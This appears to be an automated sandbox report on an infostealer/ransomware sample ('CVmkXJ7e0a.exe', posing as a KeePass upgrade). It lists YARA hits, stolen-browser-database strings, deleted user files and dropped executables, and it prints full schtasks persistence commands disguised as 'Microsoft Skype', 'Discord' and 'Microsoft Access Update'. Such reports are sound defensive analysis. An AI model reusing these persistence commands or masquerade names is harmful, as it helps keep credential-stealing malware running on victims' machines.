                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.000000001385B000.00000004.00000800.00020000.00000000.sdmp, tmp79A8.tmp.dat.0.dr, tmp76E4.tmp.dat.0.drString found in binary or memory: https://www.mozilla.org/en-GB/contribute/gro.allizom.www.
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://www.mozilla.org/en-GB/firefox/all/#product-desktop-release
                    Source: Downloads.txt.0.drString found in binary or memory: https://www.mozilla.org/en-GB/firefox/all/#product-desktop-release)
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://www.mozilla.org/en-GB/firefox/all/#product-desktop-releasehttps://www.mozilla.org/en-GB/fire
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.000000001385B000.00000004.00000800.00020000.00000000.sdmp, tmp79A8.tmp.dat.0.dr, tmp76E4.tmp.dat.0.drString found in binary or memory: https://www.mozilla.org/en-GB/firefox/central/gro.allizom.www.
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.000000001385B000.00000004.00000800.00020000.00000000.sdmp, tmp79A8.tmp.dat.0.dr, tmp76E4.tmp.dat.0.drString found in binary or memory: https://www.mozilla.org/en-GB/privacy/firefox/gro.allizom.www.
                    Source: History.txt0.0.drString found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/)
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.000000001385B000.00000004.00000800.00020000.00000000.sdmp, tmp79A8.tmp.dat.0.dr, tmp76E4.tmp.dat.0.drString found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.000000001385B000.00000004.00000800.00020000.00000000.sdmp, tmp79A8.tmp.dat.0.dr, tmp76E4.tmp.dat.0.drString found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpgk
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.000000001385B000.00000004.00000800.00020000.00000000.sdmp, tmp79A8.tmp.dat.0.dr, tmp76E4.tmp.dat.0.drString found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714

                    Spam, unwanted Advertisements and Ransom Demands

                    barindex
                    Modifies existing user documents (likely ransomware behavior)
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile deleted: C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PWCCAWLGRE\PWCCAWLGRE.docxJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile deleted: C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\EEGWXUHVUG.xlsxJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile deleted: C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\EEGWXUHVUG.xlsxJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile deleted: C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\DUUDTUBZFW.jpgJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile deleted: C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\DUUDTUBZFW.jpgJump to behavior
                    Source: schtasks.exeProcess created: 56
                    Source: cmd.exeProcess created: 58

                    System Summary

                    barindex
                    Malicious sample detected (through community Yara rule)
                    Source: 0.2.CVmkXJ7e0a.exe.1cf10000.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
                    Source: 0.2.CVmkXJ7e0a.exe.1cf10000.3.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
                    Source: 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
                    Drops large PE files
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile dump: xdwdUpdate.exe.0.dr 738219008Jump to dropped file
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess Stats: CPU usage > 6%
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeCode function: 0_2_00007FFE6F7E0B5A NtProtectVirtualMemory,0_2_00007FFE6F7E0B5A
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeCode function: 0_2_00007FFE6F7E0BBE NtProtectVirtualMemory,0_2_00007FFE6F7E0BBE
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile created: C:\Windows\xdwd.dllJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeCode function: 0_2_00007FFE6F7D32F00_2_00007FFE6F7D32F0
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeCode function: 0_2_00007FFE6F7D16580_2_00007FFE6F7D1658
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeCode function: 0_2_00007FFE6F7D32C00_2_00007FFE6F7D32C0
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeCode function: 0_2_00007FFE6F7D0E600_2_00007FFE6F7D0E60
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeCode function: 0_2_00007FFE6F7D86E80_2_00007FFE6F7D86E8
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeCode function: 0_2_00007FFE6F7DEA600_2_00007FFE6F7DEA60
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeCode function: 0_2_00007FFE6F7DF54F0_2_00007FFE6F7DF54F
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeCode function: 0_2_00007FFE6F9870610_2_00007FFE6F987061
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeCode function: 0_2_00007FFE6F9852A00_2_00007FFE6F9852A0
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 15_2_00007FFE6F7E86E815_2_00007FFE6F7E86E8
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 15_2_00007FFE6F7E32F015_2_00007FFE6F7E32F0
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 15_2_00007FFE6F7E32C015_2_00007FFE6F7E32C0
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 25_2_00007FFE6F7C86E825_2_00007FFE6F7C86E8
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 25_2_00007FFE6F7C32F025_2_00007FFE6F7C32F0
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 25_2_00007FFE6F7C32E025_2_00007FFE6F7C32E0
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 32_2_00007FFE6F7B86E832_2_00007FFE6F7B86E8
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 32_2_00007FFE6F7B32F032_2_00007FFE6F7B32F0
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 32_2_00007FFE6F7B165832_2_00007FFE6F7B1658
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 32_2_00007FFE6F7B32E032_2_00007FFE6F7B32E0
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 42_2_00007FFE6F7E86E842_2_00007FFE6F7E86E8
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 42_2_00007FFE6F7E32F042_2_00007FFE6F7E32F0
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 42_2_00007FFE6F7E165842_2_00007FFE6F7E1658
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 42_2_00007FFE6F7E32E042_2_00007FFE6F7E32E0
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 42_2_00007FFE6F7E0E6042_2_00007FFE6F7E0E60
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 52_2_00007FFE6F7C86E852_2_00007FFE6F7C86E8
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 52_2_00007FFE6F7C32F052_2_00007FFE6F7C32F0
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 52_2_00007FFE6F7C172952_2_00007FFE6F7C1729
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 52_2_00007FFE6F7C32C052_2_00007FFE6F7C32C0
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 52_2_00007FFE6F7C0E5A52_2_00007FFE6F7C0E5A
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 62_2_00007FFE6F7D86E862_2_00007FFE6F7D86E8
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 62_2_00007FFE6F7D32F062_2_00007FFE6F7D32F0
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 62_2_00007FFE6F7D165862_2_00007FFE6F7D1658
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 62_2_00007FFE6F7D32C062_2_00007FFE6F7D32C0
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012CD3000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameKeePass Upgrade.exe@ vs CVmkXJ7e0a.exe
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3683803709.000000001C3C0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameDnlibOld.dll. vs CVmkXJ7e0a.exe
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012D2E000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameKeePass Upgrade.exe@ vs CVmkXJ7e0a.exe
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameStealer.dll0 vs CVmkXJ7e0a.exe
                    Source: CVmkXJ7e0a.exe, 00000000.00000000.2410516815.0000000000848000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameKeePass Upgrade.exe@ vs CVmkXJ7e0a.exe
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameStealer.dll0 vs CVmkXJ7e0a.exe
                    Source: CVmkXJ7e0a.exeBinary or memory string: OriginalFilenameKeePass Upgrade.exe@ vs CVmkXJ7e0a.exe
                    Source: 0.2.CVmkXJ7e0a.exe.1cf10000.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
                    Source: 0.2.CVmkXJ7e0a.exe.1cf10000.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
                    Source: 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
                    Source: CVmkXJ7e0a.exe, EwPduhLHZPgxos.csSecurity API names: Directory.GetAccessControl
                    Source: CVmkXJ7e0a.exe, EwPduhLHZPgxos.csSecurity API names: Directory.SetAccessControl
                    Source: CVmkXJ7e0a.exe, uDqwEoCawAvVDLr.csSecurity API names: File.GetAccessControl
                    Source: CVmkXJ7e0a.exe, uDqwEoCawAvVDLr.csSecurity API names: File.SetAccessControl
                    Source: 0.2.CVmkXJ7e0a.exe.1c3c0000.2.raw.unpack, -Module-.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                    Source: CVmkXJ7e0a.exe, hJDfaTkAZZ.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                    Source: CVmkXJ7e0a.exe, XPUiTLDMwepV.csSecurity API names: File.GetAccessControl
                    Source: CVmkXJ7e0a.exe, XPUiTLDMwepV.csSecurity API names: File.SetAccessControl
                    Source: CVmkXJ7e0a.exe, XPUiTLDMwepV.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
                    Source: CVmkXJ7e0a.exe, ncogkvKUZZJb.csSecurity API names: Directory.GetAccessControl
                    Source: CVmkXJ7e0a.exe, ncogkvKUZZJb.csSecurity API names: Directory.SetAccessControl
                    Source: CVmkXJ7e0a.exe, ncogkvKUZZJb.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
                    Source: classification engineClassification label: mal100.rans.troj.spyw.evad.winEXE@156/126@5/3
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile created: C:\Users\Public\Pictures\xdwdUpdate.exeJump to behavior
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8028:304:WilStaging_02
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeMutant created: \Sessions\1\BaseNamedObjects\Sheet_gtvkxvqcvz
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7624:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7624:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2484:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1592:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4380:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4644:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3624:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5796:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5400:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5188:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1828:120:WilError_03
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeMutant created: NULL
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2484:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2828:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4736:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5348:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4780:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4644:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1044:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3624:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8068:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3636:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5532:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4736:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4780:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1828:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5348:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6340:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5800:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7036:120:WilError_03
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeMutant created: \Sessions\1\BaseNamedObjects\sVD9h6DSh412O
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5800:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7852:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6300:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1592:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2828:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6340:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7852:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5796:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1044:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:548:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8028:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5400:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5532:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:548:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8068:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6300:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7036:304:WilStaging_02
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4380:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5188:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3636:304:WilStaging_02
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile created: C:\Users\user\AppData\Local\Temp\lchlzmhj.erlJump to behavior
                    Source: CVmkXJ7e0a.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                    Source: CVmkXJ7e0a.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Windows\System32\schtasks.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012CCD000.00000004.00000800.00020000.00000000.sdmp, tmp7E9C.tmp.dat.0.dr, tmp7714.tmp.dat.0.drBinary or memory string: CREATE TABLE benefit_merchant_domains (benefit_id VARCHAR NOT NULL, merchant_domain VARCHAR NOT NULL)U;
                    Source: tmp782E.tmp.dat.0.drBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                    Source: tmp818B.tmp.dat.0.dr, tmp81EA.tmp.dat.0.drBinary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;
                    Source: CVmkXJ7e0a.exeReversingLabs: Detection: 76%
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile read: C:\Users\user\Desktop\CVmkXJ7e0a.exeJump to behavior
                    Source: unknownProcess created: C:\Users\user\Desktop\CVmkXJ7e0a.exe "C:\Users\user\Desktop\CVmkXJ7e0a.exe"
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe"
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Access Update" /tr "C:\Users\user\AppData\Roaming\xdwdpnsvr.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Access Update" /tr "C:\Users\user\AppData\Roaming\xdwdpnsvr.exe" /RL HIGHEST
                    Source: unknownProcess created: C:\Users\user\AppData\Roaming\xdwdpnsvr.exe C:\Users\user\AppData\Roaming\xdwdpnsvr.exe
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess created: C:\Users\Public\Pictures\xdwdUpdate.exe "C:\Users\Public\Pictures\xdwdUpdate.exe"
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
